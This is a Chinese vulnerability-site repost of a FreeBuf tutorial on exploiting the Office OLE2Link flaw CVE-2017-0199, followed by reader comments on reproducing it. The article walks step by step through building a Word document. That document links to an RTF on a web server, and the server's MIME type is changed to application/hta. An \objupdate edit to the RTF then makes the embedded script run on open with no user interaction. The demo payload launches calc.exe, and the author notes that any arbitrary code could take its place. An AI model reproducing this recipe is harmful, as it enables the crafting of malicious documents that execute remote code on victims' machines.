CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 漏洞列表
  3. 正文

cve-2017-0199

2018年11月7日 1000点热度 0人点赞 0条评论
  • FB招聘站
  • 分类阅读
  • 专栏
  • 公开课
  • FIT 2019
  • 企业服务
  • 用户服务
  • 搜索
  • 投稿
  • 登录
  • 注册

OFFICE OLE2LINK(CVE-2017-0199)漏洞利用详解

天择实习生2017-04-18+20共835218人围观 ,发现 27 个不明物体系统安全

漏洞概述

FireEye最近公布了一个OFFICE 0day,在无需用户交互的情况下,打开word文档就可以通过hta脚本执行任意代码。经过研究发现,此漏洞的成因主要是word在处理内嵌OLE2LINK对象时,通过网络更新对象时没有正确处理的Content-Type所导致的一个逻辑漏洞。

漏洞利用方法

首先准备一台apache服务器,web根目录下保存一个1.rtf文件,内容如下:

test789
<script>
var objShell = new ActiveXObject("wscript.shell");
objShell.Run("%SystemRoot%\\system32\\calc.exe");
</script>

确保apache配置文件conf/mime.types里面有rtf的content type项:

application/rtf                 rtf

用word生成一个空白文档,然后在其中插入一个对象。

1.png

选择由文件创建,输入web服务器上1.rtf的URL,一定要选上“链接到文件”:

2.PNG

这时候会生成一个有test789文字内嵌对象的文档,这是双击该对象只能以rtf文件方式打开对象,并不能执行hta脚本。因为生成对象的时候选中“链接到文件”,所以当打开对象的时候会去服务器上请求http://192.168.1.108/1.rtf来更新对象内容。

3.PNG

此时在apache配置文件conf/mime.types中把

application/rtf                 rtf

修改成:

application/hta                 rtf

重启apache后,清除IE缓存:

4.PNG

再双击对象,此时虽然访问的还是1.rtf文件,但是服务器的Content-type会返回application/hta,而word就以hta脚本的方式打开文件:

5.png

这样的poc还是需要用户双击对象进行交互的,那么怎么样才能自动运行对象呢?这里就需要把文件保存成rtf格式:

6.png

用文本编辑器打开刚保存的rtf文件,找到object标签所在的地方:

7.PNG

把

{\object\objautlink\rsltpict

修改成:

{\object\objautlink\objupdate\rsltpict

保存文件再重新打开。此时无需用户交互就可直接运行hta脚本弹出计算器:

8.gif

关键点在于objupdate,这个标签的作用是可以自动更新对象,因此无需用户交互。此时已经可以达到通过hta脚本执行任意代码的目的,至于hta脚本就是八仙过海各显神通了。

修复方案

下载微软紧急更新补丁:

https://support.microsoft.com/en-us/help/4014793/title

*本文作者:天择实习生,转载请注明来自FreeBuf.COM

天择实习生

天择实习生4 篇文章等级: 3级
|
|
  • 上一篇:ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法
  • 下一篇:ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程

这些评论亮了

  • 天择实习生(3级)回复
    @ 头号刁民 我14号就提交到freebuf,当时还是全网首发的利用方法,结果到18号才给我审核通过,我也是无语了。下次漏洞相关的不能发FB了。
    )25(亮了
  • 阔以回复
    @ tttt 我也是,M D用于创建对象的程序是package。我XP,win7,win10,OFFICE07,10,13,16都TM换了个遍全是一样,LZ你坑我..
    )16(亮了
  • ClownGuB(1级)回复
    。。。环境版本是怎么样的。。为什么我复现不了
    )7(亮了
  • ots回复
    是时候发一波简历了。。。。
    )6(亮了
发表评论

已有 27 条评论

  • puluter (2级) 2017-04-18回复1楼

    收藏了!好文!!

    亮了(4)
  • 666 2017-04-18回复2楼

    我记得hta, 除了IE外,其它都会拦是吧?

    亮了(2)
  • puluter (2级) 2017-04-18回复3楼

    这个0day对wps有用吗

    亮了(3)
    • 阿花花花 (2级) 2017-04-18回复

      @ puluter  当然不一样!

      亮了(3)
    • RUN先生 (1级) 2017-04-18回复

      @ puluter  WPS的话 必须要点击 就是最后那一步不起作用

      亮了(2)
  • 979784643 (2级)这家伙不懒,只是懒得填写个人描述! 2017-04-18回复4楼

    赞

    亮了(2)
  • 979784643 (2级)这家伙不懒,只是懒得填写个人描述! 2017-04-18回复5楼

    兄弟,为何要清除IE缓存??

    亮了(2)
  • tttt 2017-04-18回复6楼

    这个怎么解决啊?

    亮了(4)
    • 阔以 2017-04-19回复

      @ tttt 我也是,M D用于创建对象的程序是package。我XP,win7,win10,OFFICE07,10,13,16都TM换了个遍全是一样,LZ你坑我..

      亮了(16)
      • 车大炮 2017-04-20回复

        @ 阔以 我本机的office2007也这样,都没开自动更新

        亮了(0)
  • ClownGuB (1级) 2017-04-18回复7楼

    。。。环境版本是怎么样的。。为什么我复现不了

    亮了(7)
  • 大部分不成功 2017-04-18回复8楼

    大部分不成功

    亮了(3)
  • ClownGuB (1级) 2017-04-18回复9楼

    要插入的是什么类型的对象?

    亮了(2)
  • RUN先生 (1级) 2017-04-18回复10楼

    过程有点错略 不详细这个可以参考http://rewtin.blogspot.nl/2017/04/cve-2017-0199-practical-exploitation-poc.html?m=1

    亮了(1)
  • 头号刁民 2017-04-18回复11楼

    http://securityaffairs.co/wordpress/58077/breaking-news/cve-2017-0199-exploitation-poc.html
    别人昨天就发出来了

    亮了(2)
    • 天择实习生 (3级) 2017-04-19回复

      @ 头号刁民 我14号就提交到freebuf,当时还是全网首发的利用方法,结果到18号才给我审核通过,我也是无语了。下次漏洞相关的不能发FB了。

      亮了(25)
      • ZIverson (1级) 2017-04-20回复

        @ 天择实习生  请问一下为啥 同样的word版本,不同机器上,hta能够下载,但是不会运行,怎么回事?谢谢、

        亮了(2)
      • hiyo 2017-06-13回复

        @ ZIverson  ie版本,

        亮了(0)
  • ots 2017-04-18回复12楼

    是时候发一波简历了。。。。

    亮了(6)
  • 海风 (1级) 2017-04-18回复13楼

    请问您是使用什么文本编辑器?

    亮了(1)
  • ops 2017-04-18回复14楼

    http://fuping.site/2017/04/18/CVE-2017-0199%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E8%BF%87%E7%A8%8B/

    CVE-2017-0199漏洞复现过程附加 Metasploit 下的利用POC

    有用的回来赞我一下

    亮了(5)
  • ops 2017-04-18回复15楼

    http://fuping.site/2017/04/18/CVE-2017-0199%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E8%BF%87%E7%A8%8B/
    CVE-2017-0199漏洞复现过程附加 Metasploit 下的利用POC
    有用的回来赞我一下

    亮了(5)
    • softbug (7级)i am here! 2017-04-18回复

      @ ops 不错!

      亮了(1)
  • 不知道 2017-04-19回复16楼

    没有对象的怎么办 ORZ

    亮了(2)
  • ZIverson (1级) 2017-04-19回复17楼

    有的系统可以,有的就是不可以,确定没有打补丁,怎么解??

    亮了(0)
  • Beta_Mao (1级) 2017-04-29回复18楼

    羡慕那些有对象的,找了几个系统都没有package………………

    亮了(0)
  • Dreamdroid (4级)天道酬勤,不是我笨 2017-05-03回复19楼

    楼主,有office安装包吗?有漏洞的

    亮了(0)

 

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

天择实习生

天择实习生

这家伙太懒,还未填写个人描述!

4文章数2评论数

最近文章

海洋CMS(SEACMS)新版本V6.55补丁仍可被绕过执行任意代码

2017.10.13

漏洞预警 | 海洋CMS(SEACMS)0day漏洞预警

2017.10.09

NSA方程式Easybee攻击程序漏洞复现与分析

2017.05.10

浏览更多

相关阅读

  • CVE-2018-8412:通过MS Office for Mac的Legacy Package进行提权
  • 危机四伏的Office高危漏洞CVE-2017-11882
  • 利用Office文档结合社会工程学手段欺骗用户执行恶意代码
  • “噩梦公式”二代 | 2018年微软修复的首个Office 0day漏洞(CVE-2018-0802)分析
  • 打开文档变肉鸡:潜伏17年的“噩梦公式”Office漏洞攻击分析

特别推荐

关注我们 分享每日精选文章

活动预告

  • 10月

    【16课时-连载中】挖掘CVE不是梦(系列课程2)

    已结束
  • 10月

    【首节课仅需1元】挖掘CVE不是梦

    已结束
  • 9月

    【已结束】自炼神兵之自动化批量刷SRC

    已结束
  • 9月

    【已结束】美女讲师教你从零开始密码学

    已结束

FREEBUF

  • 免责声明
  • 协议条款
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2018年11月7日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me